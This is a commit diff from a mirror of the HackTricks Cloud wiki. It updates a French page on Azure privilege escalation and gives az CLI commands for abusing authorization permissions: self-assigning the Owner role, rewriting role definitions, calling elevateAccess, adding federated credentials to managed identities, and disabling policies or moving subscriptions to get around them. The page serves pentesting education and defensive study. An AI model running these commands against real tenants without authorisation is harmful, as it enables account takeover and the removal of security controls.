mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-05 20:40:18 -08:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
@@ -12,14 +12,14 @@ Pour plus d'informations, consultez :
|
||||
|
||||
### Microsoft.Authorization/roleAssignments/write
|
||||
|
||||
Cette permission permet d'assigner des rôles à des principaux sur un périmètre spécifique, permettant à un attaquant d'escalader les privilèges en s'assignant un rôle plus privilégié :
|
||||
Cette permission permet d'assigner des rôles à des principals sur une portée spécifique, permettant à un attacker d'escalader ses privilèges en s'assignant un rôle plus privilégié :
|
||||
```bash
|
||||
# Example
|
||||
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
|
||||
```
|
||||
### Microsoft.Authorization/roleDefinitions/Write
|
||||
|
||||
Cette permission permet de modifier les permissions accordées par un rôle, permettant à un attaquant d'escalader les privilèges en accordant plus de permissions à un rôle qu'il a assigné.
|
||||
Cette permission permet de modifier les permissions accordées par un rôle, permettant à un attacker d'escalate privileges en accordant plus de permissions à un rôle qu'il a assigné.
|
||||
|
||||
Créez le fichier `role.json` avec le **contenu** suivant :
|
||||
```json
|
||||
@@ -36,16 +36,16 @@ Créez le fichier `role.json` avec le **contenu** suivant :
|
||||
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
|
||||
}
|
||||
```
|
||||
Ensuite, mettez à jour les autorisations de rôle avec la définition précédente en appelant :
|
||||
Ensuite, mettez à jour les autorisations du rôle avec la définition précédente en appelant :
|
||||
```bash
|
||||
az role definition update --role-definition role.json
|
||||
```
|
||||
### Microsoft.Authorization/elevateAccess/action
|
||||
|
||||
Cette autorisation permet d'élever les privilèges et de pouvoir attribuer des autorisations à tout principal sur les ressources Azure. Elle est destinée à être accordée aux Administrateurs Globaux d'Entra ID afin qu'ils puissent également gérer les autorisations sur les ressources Azure.
|
||||
Cette permission permet d'élever les privilèges et de pouvoir attribuer des permissions à n'importe quel principal sur des ressources Azure. Elle est destinée à être attribuée aux Entra ID Global Administrators afin qu'ils puissent également gérer les permissions sur les ressources Azure.
|
||||
|
||||
> [!TIP]
|
||||
> Je pense que l'utilisateur doit être Administrateur Global dans Entra ID pour que l'appel d'élévation fonctionne.
|
||||
> Je pense que l'utilisateur doit être Global Administrator dans Entra ID pour que l'appel elevate fonctionne.
|
||||
```bash
|
||||
# Call elevate
|
||||
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
|
||||
@@ -55,9 +55,9 @@ az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
|
||||
```
|
||||
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
|
||||
|
||||
Cette permission permet d'ajouter des identifiants fédérés aux identités gérées. Par exemple, donner accès à Github Actions dans un dépôt à une identité gérée. Ensuite, cela permet d'**accéder à toute identité gérée définie par l'utilisateur**.
|
||||
Cette permission permet d'ajouter des Federated credentials aux managed identities. Par ex. donner accès à Github Actions dans un repo à une managed identity. Ensuite, elle permet de **accéder à n'importe quelle managed identity définie par l'utilisateur**.
|
||||
|
||||
Exemple de commande pour donner accès à un dépôt dans Github à une identité gérée :
|
||||
Commande exemple pour donner accès à un repo sur Github à une managed identity :
|
||||
```bash
|
||||
# Generic example:
|
||||
az rest --method PUT \
|
||||
@@ -71,4 +71,94 @@ az rest --method PUT \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
|
||||
```
|
||||
### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
|
||||
|
||||
Un attaquant disposant de la permission `Microsoft.Authorization/policyAssignments/write` ou `Microsoft.Authorization/policyAssignments/delete` sur un management group, subscription ou resource group peut **modifier ou supprimer des Azure policy assignments**, et potentiellement **désactiver des restrictions de sécurité** qui bloquent certaines opérations.
|
||||
|
||||
Cela permet d'accéder à des ressources ou fonctionnalités qui étaient précédemment protégées par la policy.
|
||||
|
||||
**Supprimer une policy assignment :**
|
||||
```bash
|
||||
az policy assignment delete \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
|
||||
```
|
||||
**Désactiver une affectation de stratégie :**
|
||||
```bash
|
||||
az policy assignment update \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
|
||||
--enforcement-mode Disabled
|
||||
```
|
||||
**Vérifier les modifications :**
|
||||
```bash
|
||||
# List policy assignments
|
||||
az policy assignment list \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
|
||||
|
||||
# Show specific policy assignment details
|
||||
az policy assignment show \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
|
||||
```
|
||||
### Microsoft.Authorization/policyDefinitions/write
|
||||
|
||||
Un attaquant disposant de l'autorisation `Microsoft.Authorization/policyDefinitions/write` peut **modifier les Azure policy definitions**, en changeant les règles qui contrôlent les restrictions de sécurité dans l'ensemble de l'environnement.
|
||||
|
||||
Par exemple, une policy qui limite les régions autorisées pour la création de ressources peut être modifiée pour autoriser n'importe quelle région, ou l'effet de la policy peut être changé pour la rendre inefficace.
|
||||
|
||||
**Modifier une définition de policy :**
|
||||
```bash
|
||||
az policy definition update \
|
||||
--name "<policyDefinitionName>" \
|
||||
--rules @updated-policy-rules.json
|
||||
```
|
||||
**Vérifier les modifications :**
|
||||
```bash
|
||||
az policy definition list --output table
|
||||
|
||||
az policy definition show --name "<policyDefinitionName>"
|
||||
```
|
||||
### Microsoft.Management/managementGroups/write
|
||||
|
||||
Un attaquant disposant de la permission `Microsoft.Management/managementGroups/write` peut **modifier la structure hiérarchique des groupes de gestion** ou **créer de nouveaux groupes de gestion**, s'affranchissant potentiellement des politiques restrictives appliquées à des niveaux supérieurs.
|
||||
|
||||
Par exemple, un attaquant peut créer un nouveau groupe de gestion sans politiques restrictives puis y déplacer des abonnements.
|
||||
|
||||
**Créer un nouveau groupe de gestion :**
|
||||
```bash
|
||||
az account management-group create \
|
||||
--name "yourMGname" \
|
||||
--display-name "yourMGDisplayName"
|
||||
```
|
||||
**Modifier une hiérarchie de management group :**
|
||||
```bash
|
||||
az account management-group update \
|
||||
--name "<managementGroupId>" \
|
||||
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
|
||||
```
|
||||
**Vérifier les modifications :**
|
||||
```bash
|
||||
az account management-group list --output table
|
||||
|
||||
az account management-group show \
|
||||
--name "<managementGroupId>" \
|
||||
--expand
|
||||
```
|
||||
### Microsoft.Management/managementGroups/subscriptions/write
|
||||
|
||||
Un attaquant disposant de la permission `Microsoft.Management/managementGroups/subscriptions/write` peut **déplacer des subscriptions entre management groups**, et potentiellement **contourner des policies restrictives** en déplaçant une subscription vers un groupe disposant de policies moins restrictives ou sans policies.
|
||||
|
||||
**Déplacer une subscription vers un management group différent :**
|
||||
```bash
|
||||
az account management-group subscription add \
|
||||
--name "<managementGroupName>" \
|
||||
--subscription "<subscriptionId>"
|
||||
```
|
||||
**Vérifier les modifications :**
|
||||
```bash
|
||||
az account management-group subscription show \
|
||||
--name "<managementGroupId>" \
|
||||
--subscription "<subscriptionId>"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user